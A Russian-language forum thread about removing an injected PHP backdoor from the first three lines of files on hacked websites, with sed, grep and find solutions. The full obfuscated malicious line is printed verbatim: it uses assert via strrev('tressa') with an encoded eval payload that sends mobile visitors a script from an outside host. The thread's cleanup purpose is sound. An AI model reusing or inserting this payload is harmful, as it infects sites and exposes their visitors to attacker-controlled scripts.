Слово tressa есть только во вредном скрипте. Данная команда выводить сам кусок кода, а как можно его заменить на другой?
Три строчки кода, вроде как пробелов по краям нет.
1) заменить? в качестве инверсии grep -v у тебя злой код в ОДНОЙ строке всего.
2) я имею в виду не пробелы.
абзац == это такая хрень всякого кода которая разделена сверху и снизу пустой строкой.
пример: (пустая строка)
function {
...
...
...
}
(пустая строка) another_function {
...
Если делать grep по слову tressa, то работает. Не получилось сделать grep с использованием всей строки.[/quote]
не понял. у тебя код вредный в одной строке
grep -v tressa
отсечет вредный код.
в грипе есть дополнения. отсекать не только строку с шаблоном, но и ввер на n единиц строк и вниз на n единиц строк. по моеййму так. не пробовал никогда. но Serj как то показывал
Дружище, тебе скрипт в любом случае писать. либо временные переменные вводить либо еще чего.
другой вопрос, если ты знаком со скриптами bash то думаю для тебя это не проблема.
или зарплату делить будем?)))) [шучу]
Дружище, тебе скрипт в любом случае писать. либо временные переменные вводить либо еще чего.
другой вопрос, если ты знаком со скриптами bash то думаю для тебя это не проблема.
или зарплату делить будем?)))) [шучу]
На bash по немногу пишу, но с данной задачей справиться не получилось. Продолжу копать дальше, за советы, ещё раз, спасибо.
ну вы тут и нафлудили... всё же достаточно просто:
text
alexander@goblin /tmp $ cat ./s.sed
#!/bin/sed -f
/<?php/{
N
N
s!^<?php\n\$_ = strrev('tressa'); @\$_("e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\\051\\051\\073");\n?>$!// here was bad evil virus!
}
alexander@goblin /tmp $ head f
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php
/**
* Override of theme_breadcrumb().
*/
function garland_breadcrumb($variables) {
$breadcrumb = $variables['breadcrumb'];
alexander@goblin /tmp $ ./s.sed f |head
// here was bad evil virus
<?php
/**
* Override of theme_breadcrumb().
*/
function garland_breadcrumb($variables) {
$breadcrumb = $variables['breadcrumb'];
if (!empty($breadcrumb)) {
"sibero" написал:
Не хватает знаний, поэтому и прошу помощи. Я много информации перечитал, пол дня просидел, решения пока не нашел.
обычно после этого выкладывают свой нерабочий вариант...
"moshell" написал:
первый раз слышу такое.. 99,5почему не 99,9?сомневаешься?)
в 0,4999 случаях на sed'е пытаются калькулятор или тетрис написать... это возможно, но рука сама тянется к виску...
Конструкция (rm file; something > file) < file — это переносимый способ для редактирования файла “на месте” (данные читаются из файла, модифицируются и записываются обратно в тот же файл).
А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.
ну вы тут и нафлудили... всё же достаточно просто:
К сожалению, не понял как применить ваше решение.
"Fat-Zer" написал:
обычно после этого выкладывают свой нерабочий вариант...
Учту, вариантов было много, в основном эксперименты с sed.
"Lupo Alberto" написал:
Ссылка в тему »
Очень полезная статья, спасибо.
"neogotlic" написал:
А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.
Оперой перестал пользоваться, как только закончилось время dialup. Сайты взломали не у меня, я просто помогаю в удалении заразы.
Пока искал решение, более опытный коллега решил задачу проще.
Находим зараженные скрипты и записываем список в фаил
text
find ./ -type f -name "*.php" -print | xargs grep -l -e "$_ = strrev('tressa')" > list
Удаляем код вируса:
text
for i in `cat list`; do sed -i '1,3d' $i; done
Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.
парсить всё это по такому шаблону:
alexander@goblin /tmp $ cat ./s.sed
<код sed скрипта>
alexander@goblin /tmp $ head f
<показал, что было до применения>
alexander@goblin /tmp $ ./s.sed f | head
<показал, как оно работает и что получается после>
Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).
sibero написал:
Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.
Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).
sibero пишет:
Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.
ну ты и флудерас
Хотелось более универсальное решение сделать, изначально я не хотел решать задачу таким способом. Решения которые предложили Lupo Alberto и Fat-Zer, мне нравятся гораздо больше.